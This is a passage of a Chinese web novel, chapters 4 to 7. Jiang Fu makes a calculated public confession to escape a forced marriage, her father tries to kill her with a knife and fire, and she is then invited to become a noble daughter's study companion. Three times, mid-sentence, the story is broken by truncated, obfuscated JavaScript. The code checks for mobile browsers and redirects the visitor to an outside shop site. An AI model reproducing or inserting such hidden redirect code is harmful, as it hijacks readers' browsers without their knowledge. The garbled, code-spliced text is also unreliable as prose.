蒋芙一觉睡醒,脑中空洞混沌,意志却比以往坚定。 她坐起身,被子从身上滑落,床脚摆着一方托盘,里面装着素雅的裙装和头面。 她低头看自己身上穿的,还是母亲在世时给自己做的新衣裳。一时眼睛又有些发酸,没来得及反应,眼泪就已落在膝上。 她深呼吸,把衣服一层一层脱下来。 沈听南从外面进来,见她醒了,浅笑着与她招呼:“芙芙醒了?可有什么想吃的?时候还来得及,可以给你现做。” 蒋芙第一反应是冷淡对她,但是想到自己还有求于她,硬是挤了笑出来。 “不必,宴会上会有吃食。” 沈听南勾唇迈进屋子:“我知你何意,不必担心,我已经安排好了,今日洛郡公府上设宴,为一个特别的人,我原本不想去的,不过你既然有意,我便带你一同去玩一趟,见见新的人。” 蒋芙道:“多谢听南了。” 沈听南微笑承受,看着被她翻动过的衣服:“既然不吃什么,不如我为芙芙梳妆打扮?” “好。” 沈听南挽了挽袖子:“许久没为你妆点过了,竟有些怀念。” 蒋芙只是微笑。 沈听南作为大齐第一美人,审美当属一流水准。 身处其位,她需要知道流行的发型,首饰,衣裳的款式。只有这样,她才配得上自己的地位,不至于被挑出错来。 蒋芙相貌平平,勉称碧玉之姿,在她手下竟也比平时明媚几分。 两人再度乘上一辆马车,两两无话。 沈听南警惕着她的刁难,时刻给自己做心理准备,只要不太过分,她都可以容忍。 但蒋芙今天意不在此。 下车,入宴。 她察觉今日与赏荷筵宴那天的情况不同。 上次女子们虽也是盛装,却花团锦簇之相,眼下却都衣着保守庄重,且男宾比上次多,还有许多穿着官服来的高官。 蒋芙心想,正好,人越多,官越大,越好。 坐到位子上,沈听南耳语:“芙芙,你讨厌我,我受着,但是你且先别轻举妄动,不然你和我都要没命。” 蒋芙失笑:“你以为我要对你做什么?我没那个兴致,咱们的账之后再算。” 沈听南并没因此得到宽慰:“那你要做什么?” “你看着,就知道了。” 原来这场宴会奇异的原因是天子亲临。 天子年轻,长着一张和魏如因相似的脸,看着就很欠扁。 有许多洛城本地的世家女向他敬酒祝词,甜言蜜语。蒋芙听着牙酸,好不容易等到天子放言,让大家自行取乐,她搓了搓手上的点心碎屑,端着酒杯站起身。 成败与否,全在此了。 “骆岢公子。” 她声音小,第一声喊出口,只周围一圈人静了下来。沈听南诧异盯着她。 蒋芙喊了第二声:“骆岢公子!” 席对面,和邻桌交谈的骆岢愣了下,茫然朝蒋芙望来。 须臾之间,他认出了她,是几天前赏荷筵宴和崔家女子打架的那个小娘子。如今她脸上的伤却是好了。 他还了一礼,“娘子,何事?” 蒋芙俯首,把酒杯举在眉间,整个场内都静谧下来,所有人的目光都聚焦在她身上。 “我心悦公子已久,日思夜想,辗转反侧。若论起对公子的喜欢,天下女子都不及我,不知公子可否给我一个机会,试着了解我?” 骆岢愣在那,半晌没有说话。 场内传来一声轻笑。 天子魏琪调笑道:“公子岢何不答应,了解一下这位天底下最喜欢你的小娘子?” 骆岢脸色难堪:“陛下莫要取笑。” 魏琪瞧向蒋芙:“娘子是谁家千金,不如和我说说,由我来当这个媒人如何?” 他初到洛城,人生地不熟,以为这场内宴都是本地望族之女,没想过有蹭宴会的蒋芙存在。 魏如因看沈听南的面子,出声帮蒋芙圆场:“皇兄,这位娘子应是醉了,醉话怎能当真呢?” 魏琪笑了一下,打算作罢。 蒋芙却抬头,目光炯炯:“我没醉。” “谢公主体恤我家世低微,为我留颜面,其实不必如此。回陛下的话,我父亲是洛县衙门里的主簿,自然是配不上公子的,但是喜爱之心,怎能用金钱地位来衡量?我就是喜欢骆岢公子,就是喜欢他,如果能和他在一起,我为妾室,卖身为奴又何尝不可?” 崔元香从前几席上站起来:“住口!你怎如此厚颜无耻!自己名声抛在脑后便罢了,还要侮辱骆岢公子!” 蒋芙把酒杯放下,两手攥拳:“我就是厚颜无耻!我喜欢他就是喜欢他!碍你什么事了?你这么着急,难道你也喜欢公子不成?” 崔元香脸上一红:“你!” 蒋芙回头看神情复杂的骆岢,与他相视:“我喜欢公子,喜欢公子,非公子不可!如果不能嫁给公子,我宁愿青灯古佛一生!” 她每喊一句,骆岢的脸色就难看一分。那神情不是少年人听闻情意的羞涩,而是面对胡搅蛮缠之人的厌恶,但他掩饰得很好,外人自然愿意往好的方向想他。 越来越多的女子将怒意集中在蒋芙身上,她觉得自己这一行动效果不错,便开始保命,给魏琪跪下磕头。 “民女无礼惊扰圣驾,求陛下宽恕。” 魏琪满脸的笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282507|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正如沈听南在女子中的地位一样,骆岢在男子中也是数一数二的风流人物。他们自小一起长大,总是见他光明磊落的模样,什么时候见过他吃这样的瘪? 魏琪道:“爱人之心,人皆有之。况且我本来也说让大家自如了,你做什么都不算扰我。我也确实为你的真情打动,如果不是情爱之事不可强求,我真想成全你啊。” 他带笑说:“公子岢是怎样看待这件事的呢?” 骆岢早已尴尬至极。他出席行礼:“陛下,我……” 魏琪道:“此地人多,你若不好意思,就和小娘子出去谈。我没强求啊,没强求的意思。你做什么选择都可以,就是别伤到娘子的心。” 骆岢再度行礼:“遵命。” 他叹了口气,转向蒋芙。蒋芙出神着,被他看了眼,立马露出假笑。 骆岢伸手指引:“娘子这边请。” 蒋芙跟着他走,回头看了错愕的沈听南一眼。 她方才在想,没想到天子是这么好说话的性格,如果她没有走这一险招,直接跪下求他主持公道,他会不会帮忙。如果把母亲去世的缘由也说出来,是不是更容易博得他的同情,让恶人都付出代价。 但是没有如果,话出口如覆水难收。而且,蒋芙就算是死,也不想要消费自己的母亲。 她使出的这招虽然名声臭,危险大,却可一箭双雕。 沈听南对骆岢志在必得,她今天表白可以好好恶心她一段时间。 不等这场宴会散去,她的事就会被传去金员外那里。 权贵之间消息互通,老肥头会知道她的心意。 如果他仍想要强取,在场之人都是与他接触的贵人。如此喜爱公子的蒋芙被家里安排嫁给了年过半百的老头当妾室,定会掀起满城风雨。他杀不了她,她有张闵。那时他的日子不会好过,他的日子不好过,就要让蒋父的日子也不好过。而她在金府住大房子,每天抢吃抢喝,日子也不算艰难。 如果他畏惧了流言,对蒋父动怒,那就更好了。她一步到位家破人亡,届时必要把母亲的尸体挖出来烧了,省得被死爹报复,扰了泉下安宁。 蒋芙想得深入,没留意骆岢已经停了下来,在她身后几步。 她还要继续走,被他喊停:“再往前走,娘子就要掉进水里了。” 蒋芙回神,看到脚下近在咫尺的荷塘,心里惊了一下,连忙后退好多步。 “多……”谢字被她吞了下去。 事已达成,她懒得说谢。 而且这是他家的池塘,修在这里,她掉下去就是他的错,他提醒一声不是应该的吗? 蒋芙道:“你还有什么事吗?” 骆岢眼神难言:“……” 先表白的人,在这问他还有什么事。 骆岢没和她计较,温声道:“有关娘子今日所陈之情,骆某感激不尽。只是如今事业未成,着实无心家庭,辜负了娘子……” 蒋芙面无表情:“说得这么冠冕堂皇,你觉得你很牛逼是吗?” 骆岢神情一滞。他……听到了什么字? “没看上就说没看上,我知道我不美,家世鄙陋,配不上你。这种事说出来很难?” “哦,是很难,说出来的话,别人就知道你并不是表面上那么光鲜亮丽了。公子岢又如何?内心和别人没什么不同,不过也是以貌取人的小人,披皮装君子。” “但,骆岢,你比别人还要差劲,因为你虚伪。” 5. 第 5 章 骆岢如画般描摹的五官,听完她的话以后,不动声色展露着厌恶。 “娘子莫要口不择言,我还有……” 蒋芙白了他一眼,替他说完:“我还有事,就先行告辞了!” 走出郡公府,她左右看:“张闵?” 没见到人影。 沈听南的车夫告诉她:“张郎君因为身份可疑,被护卫带走了。” “什么?”蒋芙大惊,“他是跟着我来的,哪里可疑了?” 车夫挠挠头,说不清楚:“那些护卫挺威风的,说张郎君是什么暗……暗卫!问他主子是谁。” 蒋芙道:“他说是我了吗?” 车夫道:“没说。” 蒋芙阴沉着脸踹了一脚路边的石栏:“死鸭子嘴硬不认主,刀剑面前要什么面子!” 她才耍了一把郡公府的公子出来,如今要问主人家要人,厚脸皮如她也觉得没脸。 张闵竟然这么没用吗,他在她心里一直是战无不胜的。所以她才敢在外面那么张狂,因为她知道,不论别人怎么教训她,只要她还有命在,张闵就会保住她。 ……看来之前是运气好,以后在外面不能随便得罪人了。 边想着这个事,边在车夫的带领下找到了带走张闵的那个护卫。 “我来接我家的家仆,就是那个高个子木头脸的。” 护卫铁面:“那是你家的家仆?他行迹鬼祟,身手不凡,你自己来承认,我等还要把你也带走拷问一番才是!” 蒋芙想了想,反正不能和张闵分开,不然去哪都有危险,离开了张闵,谁都能打她一顿。 她点头答应了。 护卫没想到她答应得这么痛快,心中怀疑减轻几分,招呼手下的人带她去关押张闵的地方。 郡公府有专门关押囚犯审查的地方,四壁无窗,唯一的光源和出气孔是被重重看守的门洞。 蒋芙提着裙子走进去,在囚室几人里分辨出张闵的身形,坐到他旁边。 张闵的锁链动了动,侧头看她,无声问她来这里的原因。 “看什么看,就知道给我惹麻烦。” 她语气嚣张,另一侧的囚犯睁着黑洞洞的眼睛看她,将她看得有些怕,靠在张闵身上。 她埋怨着问:“你不是很能打吗?为什么还被抓进来?” 囚犯提起了精神:“你家阿郎很能打?要不要打出去,咱们大家伙好能逃命啊!” 另外几人附和。 蒋芙哼了声:“以为谁傻呢,凭什么能打就得帮你们也逃出去啊!” “嘿!你这小娘子说话可真……” 张闵终于开口:“我们和你们不一样,没犯错,是被冤枉来的。” 囚犯道:“我还说我是被冤枉的呢,不过是遇到美人多看了一眼,就被美人手下绑来这了。” 蒋芙没什么好气:“被冤枉还老老实实被绑进来?你没长腿?” 张闵道:“逃了便是逃犯,不如就范。” 囚犯道:“是是是!我就是这么想的,这才没逃!” 另外一人忍不住,道:“我看你是吓得屁滚尿流,想逃命腿都抬不起来吧?” 蒋芙动了动耳朵,记下“屁滚尿流”这个词,杀伤力不错。 片刻,她趴在张闵耳边:“你真的打不过吗?” 张闵道:“有什么值得你在意的?” “废话,你要是不行,我以后肯定不那么嚣张了啊!” 张闵头侧开,像是在笑。 “十几人打得过,但换成一整个禁军队伍,我会死。” 蒋芙安了安心:“你放心,我也不傻,不会惹一整个禁军队伍的。” “你只要帮我打我爹就行了,以后要是有个万一,帮我打娶我的那个肥猪,不过要是情况紧急,你不用管我,自己保命便是。” 张闵没有回答她。 蒋芙熟悉囚室的环境以后,主动和他拉开了距离,抱膝闭目养神。 过了两个时辰,外面才来人审他们。 灯笼的光提在门口,微弱的光拉长几个人影。 “兹事体大,公子说他亲自来审。” “好,我这就把几个嫌犯都押送过去。” 几人随着声音落下进入囚室,为首的人见了蒋芙,一时惊讶:“怎会……” 他把剩下的话咽进肚子里,处理其他囚犯时,不时看蒋芙一眼。 蒋芙冷冰冰装作没感觉到他的视线。 无他,这人就是方才席上与骆岢坐邻座的那位,他现在一定很好奇,为什么刚刚对公子岢表白的花痴少女,此时会出现在关押对天子意图不轨之人的囚室中。 难道是没谈拢,被骆岢一怒之下送了狱吗? 他解张闵脚铐,见蒋芙跟着,心里又是疑惑。 为何只跟着这人,他们是什么关系? 他实在好奇,便亲自按着张闵,借此和蒋芙搭话。 “娘子不是身体不适先行离开了吗?怎会出现在这里,莫不是有什么误会?” 蒋芙坦然道:“我的仆人被当作坏人抓了进来,我在找他的时候被认为一样可疑,就把我也带进来了。” 白明旭笑道:“这定然是场误会。娘子并无害人之心。” 蒋芙看出他言辞间的调侃之意,他和天子一样,在借着她戏耍骆岢。 她道:“正是,我只有一颗心,里面只装着公子岢。他若心怀正道,我自然也是。” 白明旭笑出声:“那公子岢可就要小心点了,若娘子身上真查出了什么,不就说明他自己也有不轨之心吗?” 蒋芙也笑。 骆岢没笑,他听完了全程,愈发对蒋芙厌烦。 无真心之人,爱慕之情也能被她当作算计的工具,用他做挡箭牌。如果今天的刺客真的和她有关,她是不是还要说是为了成全他的意愿,将他拉下水? 但他只站定在那,问了他们前后去向,蒋芙清白愚蠢得过分,做不出来埋伏刺客的事。她的这个家仆被她解释脑子不正常,喜欢挑些猫待的地方躲着,身手又好,在外人眼里理应可疑。 骆岢确认过她话的真伪,便行礼致歉。 蒋芙笑道:“没关系,我喜欢你嘛。” 说完,她趁着骆岢发愣的时候,用手摸了摸他躬身而低下的脸。 两边都触感温凉,像是能融化在一起。 蒋芙看手,故作惊讶:“公子竟也用粉吗?” 骆岢脸上又红又黑,白明旭他们已经笑在一起,打算袖手旁观。 爱慕骆岢的女子虽多,但从没人敢在一天里多次表白心意,更不用说她中间还被拒绝了一回。也从没人敢摸骆岢,还把他敷粉的事说出来。 此乃奇观。 “民女有错,罪该万死,不应如此冒犯公子。” 蒋芙行了个大礼,装那副虚假的柔弱,给人感觉眼熟,是从沈听南处学来的。 骆岢被得罪狠了,闷声晾着她。再怎么样,敷粉之事也不该……! 白明旭替骆岢回答:“这怎算冒犯呢,发乎情,止乎礼,就算没止住又有何妨,女子嘛,怎么都算吃亏的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282508|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方。” “多谢郎君开解,既如此,我便告辞了。” 蒋芙抬眼看了张闵一眼,率先走在前面。 两人走在没灯的街上,照亮的只有月光。 张闵问:“你喜欢他?” 蒋芙疲惫:“你觉得呢?” “我不知道。” “哼,量你也猜不透我的心思。” 蒋芙道:“不过是搞坏名声,让金员外不肯娶我,对我爹报复的手段罢了。” “他是当今名声最大,我怎么对他发花痴都最合理的一个。那种不可一世虚伪的人,不会碍于流言纳我为妾,也不会当着所有人的面处置于我,用起来刚刚好。当然,我也有膈应沈听南的意思。” 蒋芙抬头:“倒是你,最开始被问身份的时候为什么不说是跟着我来的家仆?” 张闵沉默。 “又不说话了。” 蒋芙有嘴,她替他说。 “你不就是嫌弃,我家小门小户,给我做仆人更是一等一的卑微,在你的心上人面前抬不起头?你放心好了,沈听南她眼里就没你,你至少是个一品大官流落在外的私生子,才能让她看到你今天穿了什么。” 张闵停住脚步,有些烦:“我不是。” 蒋芙并未理解他不是什么,她讥讽笑:“你当然不是,你要是,早被人家诰命夫人给弄死了,怎么还会在我家安全长大。不过也许是没发现你呢?……算了,不开这种玩笑了,云姨抱歉。” 张闵不再理她,独自走在前面。 倒也没走太快,顾及她一个人走夜路不安全。 路过沈府时,蒋芙过去和看门的说了几句。 “你家娘子可回来了?” 门房看她的眼神怪异,显然听说了她今天的所作所为。 “我家娘子和你不同,早早便回来了。” “呵。”虽然是意料之中,不过沈听南当真没在意过她的死活,一个人回来了。车夫不会不告诉她她的事,但她没想管。 这样也好,此后彻底断了吧。 今后她想去袁家那边,看舅舅能不能收留她。 若是能,她们这辈子都不用再见了。 若是不能,蒋芙也不会再回洛城。 她和张闵回了家,家门落锁,敲门也没人应,她只能和张闵爬墙进去。 家里处处都是母亲的影子,许是与她的打算有关,仿佛每件东西都在叫她快走。 蒋芙回了卧房,找了个布片收拾东西。 这件钗子是母亲送的,这个玲珑也是,这个珍珠项链也是。 她的所有东西都是母亲添置,扔下哪一件都舍不得。 蒋芙在心里构思,觉得这个家里该走的另有其人。 如果她把蒋父杀了,埋在院子里会不会有人发现。 正想着这事,门开了,吹进一阵雨前的冷风。 蒋父在门口站着,灯照在脸上一片死寂。 “蒋芙,你真是好手段啊。把你爹骗得团团转,我真是老了,竟会上你的当!” 蒋芙直起身,面无表情:“和你老不老没关系,你本来就蠢,不然怎会考那么多年科举都没出头,只在洛城做一个小小主簿?” “你敢如此跟你老子说话!你知不知道,因为你,我到手的官位泡汤!今日还被金员外砍去一根手指!” 蒋芙冷笑:“他砍的怎么不是你的脑袋?这样告到官府,我还能捞点赔偿!” “你这个狼子野心的……” 蒋父抽出袖中遮掩的匕首,朝蒋芙刺来。 6. 第 6 章 蒋芙迎着父亲刺来的白刃,没有眨眼。 她在看这个人。 他们是相似的身材样貌,此刻却入骨般陌生,尤其是他愤恨的眼神,根本不像她的父亲。 刀尖近在咫尺之际,窗纸骤破,掷入一块石子,击落蒋父手里匕首,随后张闵破门而入,将蒋芙护在身后。 “大人,适可而止。” 夜色衬他目光,仿若蛰伏之狼。 蒋父看向空空如也的掌心,先是嗤笑,而后仰天疯癫大笑出声。 “……哈……适可而止?张闵,你评评理,这丫头私自做了什么?她不想结亲,大不了和我说!我是她爹,岂会害她?怎能在背后陷我于不义!你可知切指之痛痛彻心扉啊!” 蒋芙挤开隔着两人的张闵,指着蒋父怒道:“和你说?和你说然后让你用麻袋把我套去那个金员外家吗?话说得这么好听,如果你还当我是你的女儿,我娘怎么会死?” “你说我不把你当女儿,你把我当你爹了吗?你心里只有你娘的命,为何不考虑考虑你爹在官场同样如履薄冰?” “你一个狗屁主簿有什么官场?那些当官的哪个把你当人看?每月俸禄一半拿出去装大头就算了,你连女儿你都卖!你连跟了你那么多年妻子的命都不顾!蒋文行!你不配为人!你就是一只披着人皮的耗子!大黑耗子!我娘看上你是她眼瞎!是她上辈子做下的孽!” “你给我闭嘴!!”蒋父双目赤红,如今一切已成定局,又被坏事的女儿戳脊梁骨,他像是疯了,随手拿烛台砸来。 蒋芙闪身躲开,恨得咬牙切齿,抓了剪灯芯的剪子往蒋父头上扔。 烛台落地倾倒,火势在蒋芙身后迅速蔓延,热光一跃而起,烫了蒋芙的后背。 “啊!!” 紧急之下,张闵就近撕了帷帐打灭蒋芙背后的火。 蒋父看着眼前乱作一团的两人,快意而笑,笑着笑着,眼中精光一闪。 只见他连爬带跑地出了蒋芙的卧房,将房门反锁,又泼了柴房里的两桶火油在门窗上。 尚未扑灭的火焰吃了油,立即以骇人之势猛跳起来。 蒋芙喉咙喊破,卡了血也喊:“蒋文行!你最好让我今夜死在这里!你给我记着,只要你在这世上活一天,我做鬼都不会放过你!我要永生永世折磨你!” 蒋父语气森然:“少说那些废话吧,女儿,若是世上真有鬼,金员外那种负债累累的恶人如何还能逍遥?你今夜葬身于此,也算是为你那不成体统的母亲尽孝了。” 蒋芙在屋里扑腾着救火,越忙活,越觉得氧气稀薄。 她扔了手里的枕头,跑到门边踹了一下。平日里看上去防盗功能为无的木门,上锁以后竟然这么经踹。 她踹了几脚,都没效果。张闵扑火之余,分神在她身后伸腿,两扇门应声落地。 蒋芙没来得及夸他,便被他圈着腰,以一种抱小孩子的姿势抱远。 他搬了院里养鱼的水缸去救火,来回几趟,火终于灭了。 耳边蚊虫嗡嗡飞动,张闵收拾过残局,投了块湿帕子,蹲在蒋芙面前给她擦脸。 “以后怎么过?” 蒋芙冷笑一声:“你不也听见了吗?反正我是不用替那老登嫁人了。” 脸上的水痕被夜风吹干,她转了转头,打量自己这进了贼似的家。 “他应该把值钱的东西都卷走了,用不上多久,这个房子也得转手,我们得另找个去处。” “去哪?” “不知道。也许要去我舅舅家。但我舅家在光州,我娘以前告诉我说走路得走九天。” “好。” 蒋芙嘴角扬起,却不是笑。她侧身,不再面朝张闵。 “我只是这么一说,你不用非陪我去,你不是喜欢沈听南吗?现在我娘死了,老登跑了,你已经不是我家的下人了,去追求你的真爱吧。” 她侧了脸,耳旁的灰痕便露出来,张闵拿帕子擦拭:“你在,我会陪你。” 蒋芙回过头看他,眼里蒙了一层泪光。 模糊下去的,一动不动的黑影道:“夫人离世时,让我照顾你。” “哈哈。”蒋芙抬手擦了擦眼,胸口那点热褪下去,“好啊。” “这可是你自己说的,照顾我。” 张闵不太理解她的情绪,明明只是正常的谈话,她却仿佛扑火的蝶翼一般脆弱不堪,下一刻就要远远离去。 “时候不早,我要睡觉了。”蒋芙打了个假哈欠,捶腰往袁氏的屋里走。 张闵目送她背影。 蒋芙走到一半,回头确认:“张闵,你会保护我一辈子吗?” 张闵颔首:“嗯。” 蒋芙彻底死心,摸着门框进了母亲的房门,觉得自己可笑。 她和张闵一起长大,认识的第一个同龄人是他。那时蒋父还没考上官,家里伺候的人只有袁氏下嫁带来的两个丫鬟,一个是阿衿,另一个是阿云。 阿衿年幼,阿云与袁氏年纪相仿,在外面成了家,蒋芙还吃过她的奶。 张闵作为身边仅有的小孩,无法推拒地成了蒋芙玩伴。 那几年刚穿越,蒋芙并不适应没有手机的生活,平日闲得发慌,便逗小孩张闵。 他这个人,天生比常人少了一根筋,反应慢,也不太会哭笑。蒋芙以逗他为乐,给他穿自己的小裙子。袁氏一针一线给女儿缝出来的小裙子,穿在张闵身上很不合身,别有种呆头呆脑的可爱。 蒋芙日复一日和张闵玩,袁氏看在眼里,主动和阿云提,以后要不要给两个孩子结亲。阿云惶恐拒绝,认为身份有别,不敢奢求。 袁氏却不以为然,蒋芙听在耳朵里,感受到母亲的态度,再对待张闵便有所不同,毕竟这个小男孩以后会是自己嫁的人。 他不可以长胖,不可以烦人。他须得像块泥巴,由她亲手捏出想要的样子。 七岁那年,蒋父中举,分到洛城的主簿做,举家搬迁到官署附近。蒋芙被袁氏带去沈家拜访,就此结识了沈听南。 搬了家,周围还是少有同龄人。沈听南长得好,装得也好,蒋芙被她迷惑了几年,渐渐不和张闵玩。 沈听南曾旁敲侧击问过:“芙芙家里的那个男孩是谁?是族中兄弟吗?” 蒋芙道:“穷人家哪来的亲戚,那小孩叫张闵,是我母亲陪嫁的儿子。” 她没和沈听南有保留,直道:“我以后会嫁给他。” 沈听南垂首,笑而不语。 蒋芙早该猜到她在盘算什么。 再之后,就是撞见沈听南在背后和其他人提她的事。 “我从未与蒋芙一道,不过看她可笑,心思古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282509|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪,留在身边看热闹……” 蒋芙踹门进去,和沈听南几个表姐妹对上眼睛,几人纷纷躲避,转头去看沈听南,她亦一声不吭。 蒋芙没有大发脾气,安静地回了家里,此后再没去过沈家找她。 又过了一段时间,蒋芙午睡醒来找娘。 袁氏惊讶:“芙芙,你怎么在这?南儿不是来家里找你玩了吗?” 蒋芙意识到不对劲:“她?去哪找我?” “小凉亭那边……哎?芙芙!你跑什么?” 蒋芙跑到小凉亭前,见张闵与沈听南坐在一处吹箫。 洛城六月,院中繁花盛开。枝条密处,沈听南笑得柔情似水,手指不时搭在张闵手上,帮他找音调。 蒋芙孤零零站那站了好久。 她竟从不知张闵和沈听南这样要好,他们是什么时候好的?好到了哪个地步了? 他性子古怪,除了至亲至近的几人,旁人无法接近他两步远。但是他和沈听南却坐得那样近。 沈听南笑着,视线朝蒋芙看来,宁静如午后的风。 她故意这样给蒋芙看。 给她看,在什么都能轻易得到的沈听南面前,蒋芙无论被怎样看待,都是她的殊荣。 给她看,她所拥有的一切是多么不值一提,甚至不费吹灰之力就能摧毁。 所以,不要再赌气。 回到她身边。 她们还和以前一样。 蒋芙脸上发热,是丢脸的热。 她很窘迫。 沈听南装作才发现蒋芙的抓包,胆怯起身:“芙芙……你什么时候……事情不是你想得那样……” 蒋芙没说话,她的视线停在沈听南站起来以后,依然坐在原地握箫的张闵身上。 他疑惑看她,不解她站在那里做什么。 仿佛他和沈听南两人卿卿我我,在凉亭里吹箫并没什么不妥。 他根本没有把她的事放在心里! 他愿意陪她,保护她,是因为他娘是袁氏的陪嫁,他在侍奉他娘的主子,而不是因为她可能会成为他的妻子! 蒋芙没吃晚饭,一个人在房间里呆着。 袁氏端着甜粥进她房间,问怎么了。 蒋芙道:“我应该是撞邪了。娘,家里那个凉亭,我去了一次心里就不舒服,你找人给扒了吧。” “好,那芙芙能不能把晚饭吃完?” …… 都是陈年旧事了。 第二日晨起,蒋芙蹲在檐下刷牙。 屋外灰蒙蒙下了一早上清雨,醒来以后到处都是潮的。 张闵在埋袁氏的后院烧她的尸身,方便他们去光州路上携带。 她从井里打了盆水洗脸。 正搓揉着,院门被人敲响。 “是蒋主簿家吗?” 蒋芙以为是老登把房子卖了,来收房子的,没出声。 门外的人又道:“打搅了,我是郡公府公女手下的,来找贵府小娘子……” 蒋芙于是跑去开门:“找我干什么?” 她还拿毛巾擦着脸,发髻散落,身上也破破烂烂,一看便知家里遭了事故。 小厮诧异之余,把主子交代的差事办了。 “我家公女请来了长安女师授课,有意找娘子做伴读,不知娘子……” 7. 第 7 章 现任洛郡公妻子早逝,留有一子一女。 因公子岢声名过盛,公女小小年纪也被寄予厚望。 骆沁年方十二,郡公便从长安请了公主女师来教导,按公主的规制找伴读。对于伴读,郡公心中已有人选,即为负有大齐第一美人之名的沈听南沈娘子。但最后,定下来的人却是那个不知羞耻,在天子面前向自己儿子表白心迹的蒋芙。 怎么会选她呢?洛城的贵女轮一圈,也不该花落她家。 洛郡公唤女儿到书房,问她想法。 骆沁笑盈盈的,一张圆脸像是裹了糖霜。 “爹还未听说吗?伴读的事是哥哥的主意,说不定我要有嫂子了。” 蒋芙虽出身低微,但若得了公主女师的教导,取来郡公府做妾倒算够格。 洛郡公无言思索片刻,放女儿走,并让她把哥哥叫来。 须臾,骆岢掀帘而入,半披着头发,一身白色常服,兰香一层渡了一层。 郡公感慨:“一转眼的功夫,阿岚长这么大了。我还记得你娘去的那年,你才五岁,抱着沁儿在棺材前面哭。” “父亲找我何事?”骆岢坐在下位,将衣摆平整铺开,竹叶纹样对整。 郡公眼中带笑:“你如今,比你老子还了不得!偏爱兰香,整个洛城便都随你佩兰,连和兰花沾边的首饰都涨价涨了数倍。” 骆岢眉头微皱:“父亲莫要挖苦,有话不如直说。” 郡公唉声叹气:“此事我原不好问你,做父亲的,哪有插手儿子院子的道理。不过,你喜欢的那个姑娘,那个蒋芙,她不太好!做事太有目的性,在天子面前咄咄逼人,逼你表态。” “你或许是没遇过这个性子的小娘子,觉得有趣。等你娶进家门以后,就知道苦头了!像你二叔那样……” 郡公分去留乡做留伯的二弟,年轻时曾娶了一位泼辣妻子,新婚燕尔,两人如胶似漆。然而好景不长,不出一年,两人便因想法不一吵架不断,险些闹出人命。最后和离和得很难看,这么多年过去,男另婚,女另嫁,两家人在留乡也如仇敌一般。 骆岢垂眸,语气冷硬:“父亲怕是误会了,我并非对蒋芙有意。如果父亲是怪沁儿伴读一事,我不过举手之劳,对危难之人伸出援手而已。” 郡公尴尬不已。到底还是不该管的。 “伸出援手……是为何意?” 骆岢道:“那天的事之后,我认为事有蹊跷,私下查了她,查出一些事情。” 蒋芙根本不像她说得那样喜欢他,却突然冒险来了这么一出,骆岢出于防人之心,不得不查。 “我查到,她父亲和金无尽有所往来。有人在宴酣之时听到蒋文行说,会把女儿许给他。” “金无尽……莫不是花钱做了员外郎的那个金员外?” “正是。”骆岢道,“此人本就可疑,家中年年有妾室横死,官府却一直没人去查。即使那些传闻都是空穴来风,他本人今年也逾半百,蒋芙十五,哪有这样结亲的道理?” “平常女子,再怎么热烈,也不会在天子面前越矩。联想到她家里的事,我便明确她是在求救。既通始末,袖手旁观决非君子所为。我不过给了她一条活路。” 郡公惊骇之余,亦有所顾忌:“到底是别人家事,你还没成亲,这样插手不好。这……年纪是差的大些,但若两家你情我愿,父母之命,子女需得听从。” 骆岢不赞同道:“父亲,此事并非你情我愿!” 郡公不耐:“莫要继续说下去,我看你就是看上人家姑娘了!阿岚,你既有意,亦可与我直说,何必兜这么大的圈子!” “父亲!”骆岢俊颜上有了几分怒容。 郡公挥了挥手:“你下去吧,我还有其他事要忙,伴读一事就依你。” 骆岢还欲再辩,到底忍住,行礼告退。 他出门时,一贯柔和的脸凝着。 骆沁等在门口,揶揄的表情还没散去。 “兄长可向父亲解释明白了?” 骆岢怨念看她一眼:“你休要再胡说,事情不是你想得那样。” 骆沁理解点头:“好的,事情不是我想的那样。兄长想得都是对的,兄长做的事都是高见卓识。” “……” 骆岢负气离开。 * 蒋芙道:“让我做你们公女的伴读?” 小厮从张闵手里接了水,连声道谢。 “正是。啊,不过我们公女说了,还是要看娘子你的意愿。” 蒋芙笑道:“天大的喜事,我岂有不愿。不过,你确定你没走错门,来找的伴读是我蒋芙而不是沈听南?” 小厮道:“娘子放心,我们公女明说要蒋芙娘子做她的伴读。” “好。” 蒋芙站起身,躬身行礼:“那就劳烦你转告公女,我愿做她的伴读。不过,我之后能否在郡公府借住?” 小厮道:“娘子快快请起,既为公女伴读,吃住在郡公府是理所应当的。” 小厮离开后,蒋芙找了盒子去收袁氏的骨灰。人生一世,白灰无数。 蒋芙抱着盒子静坐了一会儿,挑了几套还完好的衣裳收起来。 张闵站在她身后,问:“光州,不去了?” 蒋芙道:“不去了。” 